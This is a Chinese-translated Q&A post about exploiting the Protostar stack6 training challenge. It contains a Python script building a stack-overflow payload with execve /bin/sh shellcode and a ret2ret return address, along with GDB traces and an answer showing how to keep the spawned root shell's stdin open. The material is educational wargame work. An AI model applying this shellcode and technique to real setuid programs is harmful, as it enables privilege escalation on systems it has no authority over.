Protostar Stack6-Segfault没有理由吗?

问题描述

因此,我正在接受exploit exercises的原始挑战,而我完全陷入困境。 Protostar在模拟i686处理器的虚拟机上运行。

uname -a
Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux

挑战涉及注入格式错误的用户提供的输入以允许root用户访问。可执行文件设置了setuid标志,并具有所有者root。我通过/tmp/mypipe

中的命名管道提供了输入

在我运行的gdb中

set disassembly-flavor intel
run < /tmp/mypipe

当我在RET指令的getpath()函数的末尾设置断点并向前迈出一步时,一切都会按预期进行。我的shellcode被执行了。我确认这些说明与the source中的文档完全相同。 (使用带有x/2i $eip的停止钩并单步执行汇编程序)。一切正常,直到noop底座和前几条指令为止,直到中断0x80(syscall)(0xcd 0x80)。
有趣的是gdb宣布:

执行新程序:/ bin / dash

程序收到信号SIGSEGV,分段错误。

此后,所有操作均无效。使用相同的输入再次运行它只会出现段错误。尝试disassemble main产生No symbol "main" in current context.
一旦我关闭GDB并再次启动,它就会产生与以前相同的行为。实际上没有外壳是可交互的。在命令行中使用相同的有效负载只会产生段错误。

我尝试了使用msfvenom制作的大量有效负载,所有有效负载均用于带有不同编码器的x86 linux,禁止使用0x00、0x0a和0x0d。我尝试将小的有效负载放入缓冲区,尝试将它们放在主堆栈帧中的返回地址之后,甚至更远。我尝试的一切都给我带来了打击。我对为什么这不起作用感到困惑。可能与覆盖堆栈上的EBP然后返回两次有关吗?但是LEAVE不会执行两次,只会执行RET

发生了什么事?

挑战的代码是这样的:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;
  printf("input path please: "); fflush(stdout);
  gets(buffer);

  ret = __builtin_return_address(0);
  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n",ret);
    _exit(1);
  }

  printf("got path %s\n",buffer);
}

int main(int argc,char **argv)
{
  getpath();
}

程序逻辑禁止跳转到堆栈。因此,显然您必须跳到其他地方。 我的想法是跳到getpath()末尾的RET指令,基本上是从堆栈中将另一个地址弹出到EIP中,而程序逻辑并未对此地址进行检查。

事实证明,从buf开始的堆栈顶部到堆栈上返回指针的第一个字节有80B。

我用于生成格式错误的输入的代码如下所示。

# execenv 28B from http://shell-storm.org/shellcode/files/shellcode-811.php
buf = b"" 
buf += b"\x31\xc0\x50\x68\x2f\x2f\x73"
buf += b"\x68\x68\x2f\x62\x69\x6e\x89"
buf += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
buf += b"\xcd\x80\x31\xc0\x40\xcd\x80"

# start of buffer = 0xbffff64c
# EIP return on stack = 0xbffff69c
# difference = 80 B

padding = "A"*80

# use noop sled to avoid changing environment variables etc to mess with alignment
noop = (b"\x90")*0x40

# addr of ret command (getpath function)
eip = b"\x08\x04\x84\xf9"
eip = eip[::-1]

# shell code position
eip2 = b"\xbf\xff\xf6\xb0"
eip2 = eip2[::-1]

print (padding + eip + eip2 + noop + buf)

注意:eip = eip[::-1]反转字节顺序,因为intel x86的字节序是低端的。

编辑:

这是机器的更详细状态。

disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push   ebp
0x08048485 <getpath+1>: mov    ebp,esp
0x08048487 <getpath+3>: sub    esp,0x68
0x0804848a <getpath+6>: mov    eax,0x80485d0
0x0804848f <getpath+11>:    mov    DWORD PTR [esp],eax
0x08048492 <getpath+14>:    call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:    mov    eax,ds:0x8049720
0x0804849c <getpath+24>:    mov    DWORD PTR [esp],eax
0x0804849f <getpath+27>:    call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:    lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>:    mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>:    call   0x8048380 <gets@plt>
0x080484af <getpath+43>:    mov    eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>:    mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>:    mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>:    and    eax,0xbf000000
0x080484bd <getpath+57>:    cmp    eax,0xbf000000
0x080484c2 <getpath+62>:    jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:    mov    eax,0x80485e4
0x080484c9 <getpath+69>:    mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>:    mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>:    mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>:    call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:    mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>:    call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:    mov    eax,0x80485f0
0x080484e9 <getpath+101>:   lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>:   mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>:   mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>:   call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:   leave  
0x080484f9 <getpath+117>:   ret
End of assembler dump.
(gdb) b *0x080484f9
Breakpoint 1 at 0x80484f9: file stack6/stack6.c,line 23.
(gdb) run < /tmp/mypipe 
Starting program: /opt/protostar/bin/stack6 < /tmp/mypipe
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[... bunch of gibberish that can't be printed as text]

Breakpoint 1,0x080484f9 in getpath () at stack6/stack6.c:23
23  stack6/stack6.c: No such file or directory.
    in stack6/stack6.c
(gdb) x /32wx $esp
0xbffff69c: 0x080484f9  0xbffff6b0  0x90909090  0x90909090
0xbffff6ac: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6bc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6cc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6dc: 0x90909090  0x90909090  0x6850c031  0x68732f2f
0xbffff6ec: 0x69622f68  0x89e3896e  0xb0c289c1  0x3180cd0b
0xbffff6fc: 0x80cd40c0  0x00000000  0x00000000  0x00000001
0xbffff70c: 0x080483d0  0x00000000  0xb7ff6210  0xb7eadb9b

您可以看到该函数跳过了bzzz +出口,因为返回地址通过了检查。下一条指令是ret,它返回到0x080484f9($ esp的栈顶)。哪个是ret。

前进一步

(gdb) stepi
eip            0x80484f9    0x80484f9 <getpath+117>
esp            0xbffff6a0   0xbffff6a0
eax            0xbe 190
ebx            0xb7fd7ff4   -1208123404
0x80484f9 <getpath+117>:    ret    
0x80484fa <main>:   push   ebp
0xbffff6a0: 0xbffff6b0  0x90909090  0x90909090  0x90909090
0xbffff6b0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6c0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6d0: 0x90909090  0x90909090  0x90909090  0x90909090

Breakpoint 1,0x080484f9 in getpath () at stack6/stack6.c:23
23  in stack6/stack6.c

和另一个

Cannot access memory at address 0x41414145

我不确定这是什么意思,为什么挂机不触发或0x45的来源,但是

(gdb) i r
eax            0xbe 190
ecx            0x0  0
edx            0xb7fd9340   -1208118464
ebx            0xb7fd7ff4   -1208123404
esp            0xbffff6a4   0xbffff6a4
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0xbffff6b0   0xbffff6b0
eflags         0x200296 [ PF AF SF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

如您所见,EIP指向noop底座。

(gdb) x /60i $eip
0xbffff6b0: nop
0xbffff6b1: nop
0xbffff6b2: nop
[snip]
0xbffff6e2: nop
0xbffff6e3: nop
0xbffff6e4: xor    eax,eax
0xbffff6e6: push   eax
0xbffff6e7: push   0x68732f2f
0xbffff6ec: push   0x6e69622f
0xbffff6f1: mov    ebx,esp
0xbffff6f3: mov    ecx,eax
0xbffff6f5: mov    edx,eax
0xbffff6f7: mov    al,0xb

从那里开始直到段80为止一直很好地执行。

(gdb) x /12i $eip
[skipping all the nops up to here]
0xbffff6e4: xor    eax,0xb
0xbffff6f9: int    0x80
0xbffff6fb: xor    eax,eax
0xbffff6fd: inc    eax
0xbffff6fe: int    0x80
(gdb) 
eip            0xbffff6f9   0xbffff6f9
esp            0xbffff698   0xbffff698
eax            0xb  11
ebx            0xbffff698   -1073744232
0xbffff6f9: int    0x80
0xbffff6fb: xor    eax,eax
0xbffff698: 0x6e69622f  0x68732f2f  0x00000000  0x90909090
0xbffff6a8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6b8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6c8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6f9 in ?? ()
(gdb) 
Executing new program: /bin/dash

Program received signal SIGSEGV,Segmentation fault.
eip            0x805925e    0x805925e
esp            0xbffffcd0   0xbffffcd0
eax            0x3e9    1001
ebx            0xb7fd7ff4   -1208123404
0x805925e:  mov    ebx,DWORD PTR [esi]
0x8059260:  test   ebx,ebx
0xbffffcd0: 0x00000011  0x00000000  0x00000000  0xbffffd70
0xbffffce0: 0xbffffd28  0xbffffd34  0x00000000  0xb7fff8f8
0xbffffcf0: 0x00000000  0xb7ffc3e1  0xb7ffb8bc  0x08048bdd
0xbffffd00: 0x00000000  0xb7fe3494  0xbffffd44  0xb7fe3612
0x0805925e in ?? ()

(gdb) x /5i 0x805925e
0x805925e:  mov    ebx,ebx
0x8059262:  je     0x8059295
0x8059264:  lea    esi,[esi+eiz*1+0x0]
0x8059268:  mov    DWORD PTR [esp+0x4],0x3d
(gdb) i r
eax            0x3e9    1001
ecx            0xa  10
edx            0x805c340    134595392
ebx            0xb7fd7ff4   -1208123404
esp            0xbffffcd0   0xbffffcd0
ebp            0xbffffd98   0xbffffd98
esi            0x0  0
edi            0x0  0
eip            0x805925e    0x805925e
eflags         0x210282 [ SF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

编辑2:

我从文件而不是管道运行漏洞利用程序。我得到一个奇怪的结果。我仍然不知道该怎么做。

(gdb) run < /tmp/exploit 
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA���������������������������������������������������������������������1�Ph//shh/bin����°
                1�@̀
Executing new program: /bin/dash

Program exited normally.
Error while running hook_stop:
The program has no registers now.

解决方法

当管道或路由输入到程序中时,如果提供源位于其输出的末尾或终止,则stdin基本上不存在。因此,您没有外壳。

在具有这种行为的实例上反汇编main不再起作用,因为由gdb加载的程序不再是stack6而是/ bin / sh。再次执行运行将执行/ bin / sh。

我不知道为什么当管道输入用完时程序会出现段错误。但是使用该文件时,中断80并未发生段错误,随后它以eax = 1的方式运行了中断80,从而调用exit(ebx),导致正常终止。

要执行漏洞利用,您需要不需要stdin输入的shell代码,例如metasploit反向tcp绑定外壳,或者您需要在漏洞利用执行后提供连续的输入。例如这样的

(cat /tmp/exploit; cat) | ./stack6

这将首先将漏洞利用程序输入程序,然后要求用户在stdin(cat)上提供更多输入,然后将其通过管道传递给程序。

相关问答

错误1:Request method ‘DELETE‘ not supported 错误还原:...
错误1:启动docker镜像时报错:Error response from daemon:...
错误1:private field ‘xxx‘ is never assigned 按Alt...
报错如下,通过源不能下载,最后警告pip需升级版本 Requirem...